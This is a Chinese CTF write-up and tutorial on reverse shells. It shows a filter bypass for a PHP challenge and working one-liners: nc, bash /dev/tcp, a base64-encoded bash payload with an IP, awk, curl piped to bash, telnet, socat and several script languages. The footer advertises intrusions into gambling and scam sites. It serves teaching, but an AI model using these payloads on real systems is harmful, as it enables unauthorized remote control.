【渗透测试】-从一道题目中学习反弹shell

admin 2023年1月30日18:47:33评论99 views字数 8559阅读28分31秒阅读模式

知识点

常见的反弹Shell语句原理NcBashawkCurl结合Bash进行反弹shellTalentSocat脚本类反弹shell


前言

最近在帮一位大师傅测试招新赛的时候,发现自己对反弹shell是不太了解的,因此在用反弹shell解题过后,来对反弹shell进行相关学习,希望对各位师傅有所帮助。

题目

首先这里给出题目代码

<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
if(!preg_match("/;|&|\$|x09|x26|`|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
shell_exec($cmd);
}
else{
echo "NoNoNo";
}
}else{
highlight_file(__FILE__);
}
?>

这里可以看出是命令执行类的题目,但是一些关键词被ban了,例如php被ban,因此这里的话想用PHP://伪协议读取flag就不行了,想写一句话木马的话虽然可以用=代替php,但因为这里$了,所以也不行,那么这里的思路我的话感觉是还有两种,一种是利用重定向符,他这里输出是无回显的,我们可以把他写到一个文件中,然后访问这个文件来查看回显,因此payload如下

cmd=ls />a

接下来访问xxx/a(flag在这里,截图的时候没注意,导致没把flag截出来)
【渗透测试】-从一道题目中学习反弹shell
此时发现flag在根目录下,再用一下查看文件的命令重定向到a,本来是这样就可以了,但是这里我们发现ban了flag关键字,所以没办法直接cat flag >a,但是我们知道还有通配符,f*可以表示flag,因此payload如下

cmd=cat /f*>a

【渗透测试】-从一道题目中学习反弹shell
还有一种方法,就是我想说的方法了,即反弹Shell,反弹Shell这个我之前用的都是nc命令,这里我构造payload如下来尝试反弹Shell

cmd=nc -e ip/port 7777

但是没有反弹上来,可能是缺少了nc环境
因此这里的话只好再找另一个语句,后来想到用这个语句bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1,但是这里ban了&,导致我们不能够直接进行反弹shell,这个时候看到curl没有被ban,我们可以利用curl来实现(原理后面讲,这里先说一下利用方式),具体如下

curl xxx:xxx:xxx:xxx:port|bash

而我们的服务器下的内容为

bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1

【渗透测试】-从一道题目中学习反弹shell

这样就成功绕过了&同时实现反弹shell。

这里在做的时候需要服务器先监听7777端口,再执行语句

【渗透测试】-从一道题目中学习反弹shell
发现flag
【渗透测试】-从一道题目中学习反弹shell
成功读取flag

反弹shell

定义

什么是反弹shell?
原词为reverse shell,含义如下

控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。

其本质就是实现客户端与服务端的互换

利用原因

初学时我们不禁有这样的疑问,为什么我们要用反弹shell呢?我们时候利用反弹shell呢?
解释如下

为什么要用反弹shell

这里不以CTF举例,以相对更真实一点的渗透过程来举例,比如你作为攻击方,成功向目标处上传了木马文件,可以执行一些语句,我们想获取一个可以直接操作主机的虚拟终端,这个时候就需要利用反弹shell了,因为反弹shell后才可以操作主机。这里借用安全客myles007大师傅的图来展示一下,这样可能会更生动易懂一些
【渗透测试】-从一道题目中学习反弹shell
那么这个问题解决了,接下来我们看下一个问题

什么时候用反弹shell

我认为的话就是以下两种情况

1、其环境是不稳定的,可能过段时间环境会变好(动态环境)
2、目标机无法接受请求,但是可以发送请求

在一位大师傅的文章中,我学习到了其他利用反弹shell的场景
(引用于https://xz.aliyun.com/t/2549)

1、由于防火墙等限制,对方机器只能发送请求,不能接收请求。
2、它的ip会动态改变,你不能持续控制。
3、某客户机中了你的网马,但是它在局域网内,你直接连接不了。
4、对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

对于场景1来解释一下,就是这个时候,攻击机监听一个端口,目标机主动发送请求给攻击机的这个监听端口,这时候就实现了反弹连接

常见的反弹Shell语句原理

Nc

nc,全称是Netcat,使用的是UDP和TCP协议,它可以相对较简单的建立一些连接,接下来了解一下要用到的参数

-l 使用监听模式,管控传入的资料。
-v 显示指令执行过程。
-n 直接使用IP地址,而不通过域名服务器。
-p<通信端口> 设置本地主机使用的通信端口。

这几个参数常用于监听,也就是攻击机使用的,当目标机主动连接我们的攻击机时,我们需要监听这个端口来实现获取shell,具体指令的话就是

nc -lvnp 7777 //任意端口,没被占用即可(如果不行记得看看防火墙是否开启了对应端口)

接下来还有一个参数,很重要的一个参数,也就是-e,其解释如下

-e, --exec=PROGRAM         program to exec after connect

这个是啥意思呢,其实就是说在连接过后会执行程序,这个是为了我们连接后能够输入指令做准备,它是用于目标机的,由于目标机能够发送请求,所以我们让他通过nc指令和e参数,来向攻击机发送请求,把bash(一种shell)给发送出去,这样就实现了反弹shell

demo

攻击机:监听端口7777,指令如下

nc-lvnp 7777

【渗透测试】-从一道题目中学习反弹shell

目标机:发送请求,将bash弹给攻击机

nc xxx.xxx.xxx.xxx 7777 -e /bin/bash

【渗透测试】-从一道题目中学习反弹shell

可以发现成功连接,可以执行指令。

Bash

Bash,全称Bourne Again shell,是一种shell,我们利用它来进行反弹shell的时候,常见的是将它与重定向符结合,指令如下

bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1

对于这个该怎么去理解呢
首先我们了解一下-i参数,-i的话是指交互模式,那bash -i的话就是打开一个交互环境
接下来看>&,拆分来看,先看>
对于linux简单了解一下,可以知道这里的>是重定向符,前面的语句会被写入到后面,比如echo 2>1.txt,这个时候就会将2输出到1.txt文件中
【渗透测试】-从一道题目中学习反弹shell
这个时候就知道>的作用了,接下来看一下&
我们知道&是联合字符,相当于and,作用是连接前后,那么这里的话其实就是将前面和后面一起重定向给后面
接下来看这个/dev/tcp/xxx.xxx.xxx.xxx/7777
在linux中,一切都是以文件形式存在的,这里的话就是和xxx这个ip地址的7777端口建立一个tcp连接
接下来看一下0>&1,这里的&有特殊含义,具体如下

这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有&,
系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述

这个0是与前面的攻击机结合的,输入0是由/dev/tcp/xxx.xxx.xxx.xxx/7777输入的,命令执行结果是1,当我们用重定向符>,写出0>&1,这就实现了输入输出都在攻击机上。
这个时候的话再来看这个完整语句就比较好理解了

bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1

先是bash生成交互环境,然后用发起与攻击机7777端口的连接(tcp连接),然后重定向给攻击机端口,而后将标准输出重定向到标准输入中,这就是整个语句的过程。

demo

攻击机,开启监听

nc -lvnp 7777

【渗透测试】-从一道题目中学习反弹shell
目标机,执行bash语句

bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1

【渗透测试】-从一道题目中学习反弹shell
出现了点bug,百度过后说是因为shell由bash解析,有时候是由zsh或sh解析,所以不一定会执行,但是我试了试发现把它进行base64加密后,这样就可以执行

bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEzNC4yMTIuMjI1LjE0Mi83Nzc3IDA+JjEgIA==}|{base64,-d}|{bash,-i}'

解释一下,bash -c参数后接一个指令,然后会执行这个语句
base64解密后就是/bin/bash -i >& /dev/tcp/134.212.225.142/7777 0>&1
【渗透测试】-从一道题目中学习反弹shell

此时再查看攻击机【渗透测试】-从一道题目中学习反弹shell
成功反弹shell

awk

AWK 是一种处理文本文件的语言,是一个强大的文本分析工具。
这里我们用的话其实也就是用到了一个他的for循环这些基础知识,有兴趣的师傅们可以参考这篇文章来具体的了解awk
https://github.com/mylxsw/growing-up/blob/master/doc
这里我先将语句列出,而后再进行解释

awk 'BEGIN{s="/inet/tcp/0/IP/Port";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

BEGIN语句块在程序开始的使用执行,它只执行一次,BEGIN中的内容是awk要执行的命令,那么这里的话就是与攻击机的某个端口进行了tcp链接,而后你可以看见是一个for循环,初始化内容为空,然后条件对应的内容是读取s放入变量c中,然后增量是每次关闭c管道。接下来是一个while循环,条件对应的内容是读取c放入$0中,如果满足就输出,否则就关闭s管道

注:参考了很多师傅的博客,但感觉还是理解有点问题,还请各位师傅多多指正

demo

攻击机,开启监听
【渗透测试】-从一道题目中学习反弹shell
目标机,调用awk语句,具体如下

awk 'BEGIN{s="/inet/tcp/0/xxx.xxx.xxx.xxx/7777";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

【渗透测试】-从一道题目中学习反弹shell
此时再看攻击机
【渗透测试】-从一道题目中学习反弹shell
成功反弹shell

Curl结合Bash进行反弹shell

这个就是用于绕过的,当目标机存在某些防护过滤了一些字符时,我们可以通过这个来实现反弹shell,语句如下

curl ip|bash

它的话其实就是以bash解析shell,对ip进行curl指令,即请求这个ip,然后我们的这个ip的内容是bash反弹shell的语句,即

bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1

此时就可以绕过防护且成功反弹shell,这个时候也就应该可以理解上文的绕过方式了

demo

攻击机
首先上准备一个界面,其内容是bash反弹shell语句
【渗透测试】-从一道题目中学习反弹shell
然后接下来去监听7777端口
【渗透测试】-从一道题目中学习反弹shell
目标机:
开始curl语句请求对应端口
【渗透测试】-从一道题目中学习反弹shell
接下来查看攻击机
【渗透测试】-从一道题目中学习反弹shell
成功反弹shell,可以执行语句

Talent

Telnet协议是TCP/IP协议族中的一员,是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。
这里的话有两种方法,先介绍第一种方式
第一种方式的话
先给出参考payload

telnet xxx.xxx.xxx.xxx port| /bin/bash | telnet xxx.xxx.xxx.xxx port2

这个的话就是用talnet主动连接攻击机的某个端口,然后将输出信息作为bash的输入,即用bash执行其输出信息,接下来用管道符将bash的输出重定向到talnet连接的攻击机的另一个端口下,其实也就是将回显输出到这个端口下了,此时实现了攻击机port端口执行的语句,在port2端口可以看到回显信息

第二种方式
先给出参考payload

mknod a p; telnet xxx.xxx.xxx.xxx port 0<a | bin/bash 1>a

就是创建一个管道a,然后用talent与攻击机的某个端口进行连接,再用重定向将标准输入定向到管道a中,接下来再用管道符|,将左边的输出作为右边的输入,也就是说用bash执行talent的输出信息,然后1>a,就是将标准输出重定向到a,这个时候就实现了标准输入和输出都在同一个管道下

demo

攻击机
监听两个端口,一个用于执行指令,一个用于查看回显

nc -lvnp 7777
nc -lvnp 6379

【渗透测试】-从一道题目中学习反弹shell
【渗透测试】-从一道题目中学习反弹shell
目标机
用talent发送两个请求,分别请求攻击机的两个端口,一个用于将bash终端发送出去,一个用于获取bash的输出信息

telnet xxx.xxx.xxx.xxx 7777 | /bin/bash | telnet xxx.xxx.xxx.xxx 6379

此时查看攻击机,发现成功连接,执行命令
【渗透测试】-从一道题目中学习反弹shell
查看另一个端口
【渗透测试】-从一道题目中学习反弹shell
成功反弹shell

demo2

这个需要是root权限,普通用户没有权限执行mknod命令

攻击机,开启监听
【渗透测试】-从一道题目中学习反弹shell
目标机,用重定向将输入输出定向到同一个管道中,同时用telent主动连接攻击机

mknod a p; telnet xxx.xxx.xxx.xxx 7777 0<a | /bin/bash 1>a

【渗透测试】-从一道题目中学习反弹shell

【渗透测试】-从一道题目中学习反弹shell

Socat

Socat,全称Socket CAT,其功能类似于netcat
这个的话是我们需要提前安装的,那想要利用这个实现反弹shell的话,就需要目标机有这个环境
这个怎么安装呢,用apt-get install Socat即可
接下来说一下它的思路,其实就是利用Socat向攻击机某个端口发送请求,然后用exec执行语句,得到bash交换环境

demo

攻击机,开启监听
【渗透测试】-从一道题目中学习反弹shell
目标机,用socat连接ip连接,用exec搭建bash交互环境,执行语句如下

socat tcp-connect:xxx.xxx.xxx.xxx:7777 exec:'bash -li',pty,stderr,setsid,sigint,sane

【渗透测试】-从一道题目中学习反弹shell
此时查看攻击机
【渗透测试】-从一道题目中学习反弹shell
成功执行

脚本类反弹shell

当目标机存在一些语言环境时,也可以借助对应语言脚本来实现反弹shell,这里给出一些网上常见的反弹shell语句,仅供参考

PHP语言反弹shell

php -r '$sock=fsockopen("IP","Port");exec("/bin/sh -i <&3 >&3 2>&3");'

Python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl反弹shell

perl -e 'use Socket;$i="IP";$p=Port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

ruby反弹shell

ruby -rsocket -e 'c=TCPSocket.new("IP","Port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

后文

这里的话也是将网络中较常见的反弹shell简单总结了一下,如果有问题的话还请各位师傅多多指教。

参考文章

https://xz.aliyun.com/t/2549
https://www.freebuf.com/articles/network/334613.html
https://www.modb.pro/db/421543
https://www.jianshu.com/p/37924017feb1
https://www.freebuf.com/articles/web/247967.html
https://www.anquanke.com/post/id/87017
https://blog.csdn.net/weixin_44288604/article/details/111740527

本文作者:quan9i, 转载请注明来自FreeBuf.COM


请备注:进群


【渗透测试】-从一道题目中学习反弹shell

【渗透测试】-从一道题目中学习反弹shell

关注公众号

回复“电子书”获取web渗透、CTF电子书:

回复“视频教程”获取渗透测试视频教程;  

回复“内网书籍”获取内网学习书籍;        

回复“CTF工具”获取渗透、CTF全套工具;

回复“内网渗透;获取内网渗透资料;

回复护网;获取护网学习资料 ;

回复python,获取python视频教程;

回复java,获取Java视频教程;

回复go,获取go视频教程


知识星球

【渗透测试】-从一道题目中学习反弹shell



【Hacking藏经阁】知识星球致力于分享技术认知

1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;

400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)

2、认知方面。副业经营、人设IP打造,具体点公众号运营、抖*yin等自媒体运营(目前主要在运营两个平台4个号)。


如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。





【渗透测试】-从一道题目中学习反弹shell




渗透实战系列


【渗透实战系列】|46-渗透测试:从Web到内网

【渗透实战系列】|45-记一次渗透实战-代码审计到getshell

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

【渗透实战系列】|43-某次通用型漏洞挖掘思路分享

【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战

【渗透实战系列】|41-记一次色*情app渗透测试

【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)

▶【渗透实战系列】|39-BC渗透的常见切入点(总结)

【渗透实战系列】|38-对某色情直播渗透

【渗透实战系列】|37-6年级小学生把学校的网站给搞了!

【渗透实战系列】|36-一次bc推广渗透实战

【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透

【渗透实战系列】|34-如何用渗透思路分析网贷诈骗链

【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP

【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站

【渗透实战系列】|31-记一次对学校的渗透测试

【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)

【渗透实战系列】|29-实战|对某勒索APP的Getshell

【渗透实战系列】|28-我是如何拿下BC站的服务器

【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)

【渗透实战系列】|26一记某cms审计过程(步骤详细)

【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程

【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法

【渗透实战系列】|23-某菠菜网站渗透实战

【渗透实战系列】|22-渗透系列之打击彩票站

【渗透实战系列】|21一次理财杀猪盘渗透测试案例

【渗透实战系列】|20-渗透直播网站

【渗透实战系列】|19-杀猪盘渗透测试

【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)

【渗透实战系列】|17-巧用fofa对目标网站进行getshell

【渗透实战系列】|16-裸聊APP渗透测试

【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点

【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试

【渗透实战系列】|13-waf绕过拿下赌博网站

【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局

【渗透实战系列】|11 - 赌博站人人得而诛之

【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)

【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)

【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)

【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例

【渗透实战系列】|6- BC杀猪盘渗透一条龙

【渗透实战系列】|5-记一次内衣网站渗透测试

【渗透实战系列】|4-看我如何拿下BC站的服务器

【渗透实战系列】|3-一次简单的渗透

【渗透实战系列】|2-记一次后门爆破到提权实战案例

【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

【渗透测试】-从一道题目中学习反弹shell

    

长按-识别-关注

【渗透测试】-从一道题目中学习反弹shell

Hacking黑白红

一个专注信息安全技术的学习平台

【渗透测试】-从一道题目中学习反弹shell

点分享

【渗透测试】-从一道题目中学习反弹shell

点收藏

【渗透测试】-从一道题目中学习反弹shell

点点赞

【渗透测试】-从一道题目中学习反弹shell

点在看



原文始发于微信公众号(Hacking黑白红):【渗透测试】---从一道题目中学习反弹shell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月30日18:47:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透测试】-从一道题目中学习反弹shellhttp://cn-sec.com/archives/1389925.html

发表评论

匿名网友 填写信息